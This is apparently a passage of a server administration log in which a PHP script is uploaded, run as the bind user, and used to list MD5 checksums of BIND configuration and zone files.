MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:01:36: Establishing a connection
2026-07-15 13:01:36: 

PUT: /tmp/pkp489591

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:01:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp489591; rm /tmp/pkp489591'

2026-07-15 13:01:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:01:37: Establishing a connection
2026-07-15 13:01:38: 

PUT: /tmp/pkp175253

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:01:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp175253; rm /tmp/pkp175253'

2026-07-15 13:01:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
